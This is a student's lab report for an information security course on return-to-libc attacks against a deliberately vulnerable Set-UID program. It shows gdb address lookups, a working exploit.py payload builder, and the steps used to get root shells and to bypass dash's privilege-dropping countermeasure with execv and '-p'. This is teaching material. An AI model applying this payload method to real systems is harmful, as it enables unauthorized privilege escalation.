INFORMATION SECURITY LAB 04

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

Task 1 : Finding out the addresses of the Libc functions

In order to carry out Return-to-libc attack, we must first make the stack non-executable. This ensures that no shell code injections can run on the memory stack. Subsequently, stack guard protection is turned off (through flags in the makefile).

Return-to-libc is an extension of Buffer overflow i.e there is buffer overflow like before, however the return address now points to a libc function (unlike the shellcode previously), that is stored in shared memory space. The libc function that we are going to be pointing to is 'system()'.

Address randomization has to be turned off, so that the initial stack address remains the same each time we execute the code. The address locations of 'system()', 'exit()' and '/bin/sh' must not change each time, therefore this is done.

We link the /bin/sh file to the /bin/zsh file – this does not contain the countermeasure to bring down privileges if it is being executed in a Set-UID process.

Once complete, ./retlib is created (Set-UID gives it root priv.) using the make command as can be seen below-

```
PES1UG20CS280(Pavan)~$sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
PES1UG20CS280(Pavan)~$sudo ln -sf /bin/zsh /bin/sh
PES1UG20CS280(Pavan)~$make
gcc -m32 -DBUF_SIZE=12 -fno-stack-protector -z noexecstack -o retlib retlib.c
sudo chown root retlib && sudo chmod 4755 retlib
PES1UG20CS280(Pavan)~$touch badfile
PES1UG20CS280(Pavan)~$gdb -q retlib
```

We have to obtain the address of the system() call. In order to do so, we debug the Set-UID ./retlib executable using the gdb debugger.

We insert a breakpoint in the main() function and run the executable once. The same is shown in the screenshot below-

```
PES1UG20CS280(Pavan)~$gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x804856d
gdb-peda$ run
Starting program: /home/seed/Desktop/Labsetup2/retlib

[----------------------------------registers-----------------------------------]
EAX: 0xb7fbbdbc --> 0xbfffea1c --> 0xbfffec9e ("DREAL_TECHNO_NAME=/etc/alliance/cmos.dreal")
EBX: 0x0
ECX: 0xbfffe980 --> 0x1
EDX: 0xbfffe9a4 --> 0x0
ESI: 0xb7fba000 --> 0x1b1db0
EDI: 0xb7fba000 --> 0x1b1db0
EBP: 0xbfffe968 --> 0x0
ESP: 0xbfffe964 --> 0xbfffe980 --> 0x1
EIP: 0x804856d (<main+14>:	sub    esp,0x3f4)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048569 <main+10>:	push   ebp
   0x804856a <main+11>:	mov    ebp,esp
   0x804856c <main+13>:	push   ecx
=> 0x804856d <main+14>:	sub    esp,0x3f4
   0x8048573 <main+20>:	sub    esp,0x8
   0x8048576 <main+23>:	push   0x80486fc
   0x804857b <main+28>:	push   0x80486fe
   0x8048580 <main+33>:	call   0x80483d0 <fopen@plt>
[------------------------------------stack-------------------------------------]
0000| 0xbfffe964 --> 0xbfffe980 --> 0x1
0004| 0xbfffe968 --> 0x0
0008| 0xbfffe96c --> 0xb7e20637 (<__libc_start_main+247>:	add    esp,0x10)
0012| 0xbfffe970 --> 0xb7fba000 --> 0x1b1db0
0016| 0xbfffe974 --> 0xb7fba000 --> 0x1b1db0
0020| 0xbfffe978 --> 0x0
0024| 0xbfffe97c --> 0xb7e20637 (<__libc_start_main+247>:	add    esp,0x10)
0028| 0xbfffe980 --> 0x1
```

```
0024| 0xbfffe97c --> 0xb7e20637 (<__libc_start_main+247>:	add    esp,0x10)
0028| 0xbfffe980 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804856d in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$
```

Once done, we print out the addresses of the system() and the exit() function calls.

The two addresses are shown above.

We generate a badfile and fill it with some arbitrary content (0xaa in this case). Previously in buffer overflow, we overwrote the Return address of the function to point to our shell code.

In this attack, we overwrite the return address of the bof() function to point to system() function, whose address value is obtained above.

INFORMATION SECURITY LAB 04

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

Task 2 : Putting the shell string to memory

We understand that any arguments passed to a given function is stored above the return address (if we consider ebp placed at the Previous Frame pointer, then 8 locations above ebp is where the arguments are stored).

We want to execute a shell, for which the system command would need the argument - /bin/sh.

In this task, we push /bin/sh into the memory and identify its address. Considering the fact that address randomization is zero (and the number of characters in the executable name are constant), we get the same address location each time.

We create an ENV. variable called MYSHELL and assign it the value -- /bin/sh. The same on printing is displayed below-

```
PES1UG20CS280(Pavan)~$export MYSHELL=/bin/sh
PES1UG20CS280(Pavan)~$env | grep MYSHELL
MYSHELL=/bin/sh
PES1UG20CS280(Pavan)~$
```

The code envadr.c uses the getenv() function to obtain the ENV. variable. The ENV. variable is therefore, fetched and placed in the stack when ./envadr is executed. Once in the stack, we can obtain its address location and use it as a subsequent argument for system() function.

```
PES1UG20CS280(Pavan)~$export MYSHELL=/bin/sh
PES1UG20CS280(Pavan)~$env | grep MYSHELL
MYSHELL=/bin/sh
PES1UG20CS280(Pavan)~$gedit envadr.c
PES1UG20CS280(Pavan)~$gcc -m32 -o envadr envadr.c
PES1UG20CS280(Pavan)~$./envadr
bin/sh address: bffffd13
PES1UG20CS280(Pavan)~$
```

The location where MYSHELL variable is stored on the stack is at 0xbffffd13.

INFORMATION SECURITY LAB 04

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

TASK 3 : Launching the attack

When we execute ./retlib, we see two addresses that are returned. The address of buffer[] inside bof() is basically the esp value and the frame pointer is basically the ebp value. The size of the buffer inside the bof() function is only 12 bytes long. The difference between esp and ebp indicates the number of positions down the stack that esp is w.r.t ebp.

Four bytes above the ebp is where return address is present. It is here that the system()'s address must be written into. Subsequently, 8 positions above the ebp, the exit() function's address is stored. 12 bytes above the ebp, the string argument '/bin/sh' is stored.

```
PES1UG20CS280(Pavan)~$./retlib
Address of input[] inside main():  0xbfffe590
Input size: 0
Address of buffer[] inside bof():  0xbfffe560
Frame Pointer value inside bof():  0xbfffe578
(^_^)(^_^) Returned Properly (^_^)(^_^)
PES1UG20CS280(Pavan)~$
```

To put it in X,Y and Z terms as shown in badfile, Y is 0x18(0x578-0x560) ~ 24 +4 = 28 , Z is 24 +8 = 32 and X is 24+12= 36.

28, 32 and 36 are from the start of the buffer[] address basically. Once the exploit.py file is filled with the appropriate values, it is executed (badfile is filled).

When ./retlib is executed, we see that the address values are printed, but also a rootshell is generated. When 'whoami' is executed, the shell indicates that it is the root. On typing the ls command faultily, we see that it says the lk command is not found in zsh, indicating that it is the linked /bin/zsh file that is being referred.

```
PES1UG20CS280(Pavan)~$chmod u+x exploit.py
PES1UG20CS280(Pavan)~$./exploit.py
PES1UG20CS280(Pavan)~$./retlib
Address of input[] inside main():  0xbfffe590
Input size: 300
Address of buffer[] inside bof():  0xbfffe560
Frame Pointer value inside bof():  0xbfffe578
PES1UG20CS280(Pavan)~$whoami
root
PES1UG20CS280(Pavan)~$lk
zsh: command not found: lk
PES1UG20CS280(Pavan)~$exit
PES1UG20CS280(Pavan)~$whoami
seed
PES1UG20CS280(Pavan)~$lk
lk: command not found
PES1UG20CS280(Pavan)~$
```

On exiting the root shell, command returns back to the 'seed' user and when 'whoami' is executed again, we see that we are in the seed space. When ls is mistyped as lk, the result obtained is different (not linked to zsh).

This thus indicates that the result obtained is correct, even though the root # is not explicitly observed.

Attack variation 1

In this subtask, the aim is to check if exit() is really necessary. In order to do so, we must understand how function prologues and epilogues work.

When the bof() function's epilogue is being called, the esp pointer (currently positioned at the return address) is copied into the ebp pointer of the system() frame. The previous frame pointer location gets filled. The subsequent return address above it must be filled with exit()'s address , so that once the system() command/function is executed, control can return back, without causing the system to crash.

```
PES1UG20CS280(Pavan)~$rm badfile
PES1UG20CS280(Pavan)~$touch badfile
PES1UG20CS280(Pavan)~$./exploit.py
PES1UG20CS280(Pavan)~$./retlib
Address of input[] inside main():  0xbfffe590
Input size: 300
Address of buffer[] inside bof():  0xbfffe560
Frame Pointer value inside bof():  0xbfffe578
PES1UG20CS280(Pavan)~$whoami
root
PES1UG20CS280(Pavan)~$exit
Segmentation fault
PES1UG20CS280(Pavan)~$whoami
seed
PES1UG20CS280(Pavan)~$
```

When the attack is caused, we see that we are able to obtain the root shell. The root shell is still obtained because system() and '/bin/sh' arguments are still copied as is. However when we type the exit() command, we obtain a Segmentation fault. This is because, we haven't overwritten the return address of exit() in the designated frame. Control is returned to an arbitrary address, thereby causing a Segmentation fault.

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

Attack Variation 2:

When the executable's name is changed (the number of characters are changed), the resulting location where the ENV. variable MYSHELL is stored in the stack gets altered i.e /bin/sh command is no more located where it was previously. Badfile's contents aren't changed, indicating that the old address for /bin/sh is being used.

When system() fetches the argument, it fetches a random value (and not /bin/sh) which causes it to fail execution. This results in a Segmentation fault as can be seen below-

```
PES1UG20CS280(Pavan)~$gcc -m32 -fno-stack-protector -z noexecstack -o newretlib retlib.c
PES1UG20CS280(Pavan)~$sudo chown root newretlib
PES1UG20CS280(Pavan)~$sudo chmod 4755 newretlib
PES1UG20CS280(Pavan)~$ ./newretlib
Address of input[] inside main():  0xbfffe590
Input size: 300
Address of buffer[] inside bof():  0xbfffe560
Frame Pointer value inside bof():  0xbfffe578
zsh:1: command not found: h
Segmentation fault
PES1UG20CS280(Pavan)~$
```

One interesting observation we can make from the SS above, is that it says zsh did not find the command 'h'.

This indicates that at location 0xbffffd13, what is stored is 'h'.

INFORMATION SECURITY LAB 04

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

Task 4 : Defeating the dash countermeasure

In this task, we try to work around the counter measure implemented in dash which brings down the privilege if it is being run in a Set-UID process. We first relink our /bin/sh file to our /bin/dash file.

The privileges are not downgraded when /bin/sh -p command is used. This additional -p argument cannot be obtained and used inside system(). This indicates that we cannot use the ENV. variable MYSHELL as MYSHELL= /bin/sh -p

Execv() separates the arguments taken. The first argument taken is the command (/bin/sh) and the second argument taken is the argument array for the command(which is -p in our case).

Therefore, two ENV. variables – MYSHELL and PARAM are created with appropriate argument values loaded into it.

```
Segmentation fault
PES1UG20CS280(Pavan)~$sudo ln -sf /bin/dash /bin/sh
PES1UG20CS280(Pavan)~$export MYSHELL=/bin/bash
PES1UG20CS280(Pavan)~$export PARAM=-p
PES1UG20CS280(Pavan)~$env | grep MYSHELL
MYSHELL=/bin/bash
PES1UG20CS280(Pavan)~$env | grep PARAM
XSCH_PARAM_NAME=/etc/alliance/xsch.par
PARAM=-p
XFSM_PARAM_NAME=/etc/alliance/xfsm.par
XPAT_PARAM_NAME=/etc/alliance/xpat.par
PES1UG20CS280(Pavan)~$
```

On setting those ENV. variables, we can see that they are set in the Environment.

Similar to the previously written code (to bring the ENV. variables into stack memory), we now write another .c file called prtenv that gets MYSHELL and PARAM's values and displays their corresponding addresses.

Since address randomization is off (and the number of letters in the executable are fixed), the address of MYSHELL and PARAM will always be the same.

As seen in the output below, the addresses of the two ENV. variables are as follows

/bin/sh -> 0xbffffd13

-p -> 0xbffef70

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

```
PES1UG20CS280(Pavan)~$gedit prtenv.c
PES1UG20CS280(Pavan)~$ gcc -m32 -o prtenv prtenv.c
PES1UG20CS280(Pavan)~$ ./prtenv
bin/bash address: bffffd13
-p address: bfffef70
PES1UG20CS280(Pavan)~$gdb retlib
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x804856d
gdb-peda$ run
```

We run the debugger again (with breakpoint at main again), to identify the address of execv() and exit(). The address of exit() does not change, so previously used address is used here.

```
[----------------------------------registers-----------------------------------]
EAX: 0xb7fbbdbc --> 0xbfffe9fc --> 0xbfffec82 ("DREAL_TECHNO_NAME=/etc/alliance/cmos.dreal")
EBX: 0x0
ECX: 0xbfffe960 --> 0x1
EDX: 0xbfffe984 --> 0x0
ESI: 0xb7fba000 --> 0x1b1db0
EDI: 0xb7fba000 --> 0x1b1db0
EBP: 0xbfffe948 --> 0x0
ESP: 0xbfffe944 --> 0xbfffe960 --> 0x1
EIP: 0x804856d (<main+14>:      sub    esp,0x3f4)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048569 <main+10>: push   ebp
   0x804856a <main+11>: mov    ebp,esp
   0x804856c <main+13>: push   ecx
=> 0x804856d <main+14>: sub    esp,0x3f4
   0x8048573 <main+20>: sub    esp,0x8
   0x8048576 <main+23>: push   0x80486fc
   0x804857b <main+28>: push   0x80486fe
   0x8048580 <main+33>: call   0x80483d0 <fopen@plt>
[------------------------------------stack-------------------------------------]
0000| 0xbfffe944 --> 0xbfffe960 --> 0x1
0004| 0xbfffe948 --> 0x0
0008| 0xbfffe94c --> 0xb7e20637 (<__libc_start_main+247>:       add    esp,0x10)
0012| 0xbfffe950 --> 0xb7fba000 --> 0x1b1db0
0016| 0xbfffe954 --> 0xb7fba000 --> 0x1b1db0
0020| 0xbfffe958 --> 0x0
0024| 0xbfffe95c --> 0xb7e20637 (<__libc_start_main+247>:       add    esp,0x10)
0028| 0xbfffe960 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x0804856d in main ()
gdb-peda$ p execv
$1 = {int (const char *, char * const *)} 0xb7eb8780 <execv>
```

Execv() function address is located at 0xb7eb8780 as seen above.

In this case, we will be jumping to execv's frame and executing a root shell there (using the -p parameter), thereby working around the counter-measure.

INFORMATION SECURITY LAB 04

Name: Pavan R Kashyap SRN: PES1UG20CS280
6th Semester E section

When we execute ./retlib again, we obtain the input[] inside main's address as 0xbfffe590. This address is noted down.

Y,Z and X are values that have been previously obtained- they do not change. Relative to X, A, Band C are all given values. The same has already been done in the exploit.py file

Execv()'s address is copied to location Y (the return address space), exit()'s address is copied to location Z (return address in execv()'s stack frame).

The corresponding address obtained for /bin/sh is copied into location X.

The corresponding address obtained for -p is copied into location B.

input[] address is previously obtained. The corresponding result to be stored is obtained as shown below-

```
PES1UG20CS280(10.0.2.5) -$python3
Python 3.5.2 (default, Nov 17 2016, 17:05:23)
[GCC 5.4.0 20160609] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(0xbfffe590+44)
'0xbfffe5bc'
>>> exit()
PES1UG20CS280(10.0.2.5) -$
```

The same is filled at location A accordingly.

```
#!/usr/bin/env python3
import sys# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
Y = 28
execv_addr = 0xb7eb8780              # The address of execv()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr =  0xb7e369d0                          # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

X = 36
sh_addr = 0xbffffd13 #1                            # The address of "/bin/bash"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

A = 40
para_addr = 0xbfffe5bc #0xbfffe5d4                    # The address input[] + 44  in main
content[A:A+4] = (para_addr).to_bytes(4,byteorder='little')


B = 44
content[B:B+4] = (sh_addr).to_bytes(4,byteorder='little')

C = 48                                                    # The address of "-p"
para_addr = 0xbfffef70 #2
content[C:C+4] = (para_addr).to_bytes(4,byteorder='little')

D = 52                                                    # 0x00000000 DO NOT MODIFY
para_addr = 0x00000000
content[D:D+4] = (para_addr).to_bytes(4,byteorder='little')

with open("badfile", "wb") as f:
        f.write(content)
```

The address value of D is not modified as stated. Exploit.py rewrites the badfile when executed.

Now, when we execute the attack, we see that we are able to obtain the root shell.

```
PES1UG20CS280(10.0.2.5) -$rm badfile
PES1UG20CS280(10.0.2.5) -$touch badfile
PES1UG20CS280(10.0.2.5) -$./exploit.py
PES1UG20CS280(10.0.2.5) -$./retlib
Address of input[] inside main():  0xbfffe590
Input size: 300
Address of buffer[] inside bof():  0xbfffe560
Frame Pointer value inside bof():  0xbfffe578
PES1UG20CS280(10.0.2.5) -$whoami
root
PES1UG20CS280(10.0.2.5) -$ls -l /bin/sh
lrwxrwxrwx 1 root root 9 Feb 10 08:20 /bin/sh -> /bin/dash
PES1UG20CS280(10.0.2.5) -$exit
PES1UG20CS280(10.0.2.5) -$whoami
seed
PES1UG20CS280(10.0.2.5) -$
```

When we see where /bin/sh is linked to, we see that it is linked to the /bin/dash file, that holds the counter-measure.

So, we were successfully able to work around the counter-measure using execv() and -p and run a root shell. The privileges weren't dropped and root shell was allowed to the seed user.

On exiting the root shell, control returns back to the seed shell as seen in the screenshot above.

Even though we do explicitly receive # , the shell we obtained is still the root shell as can be seen above.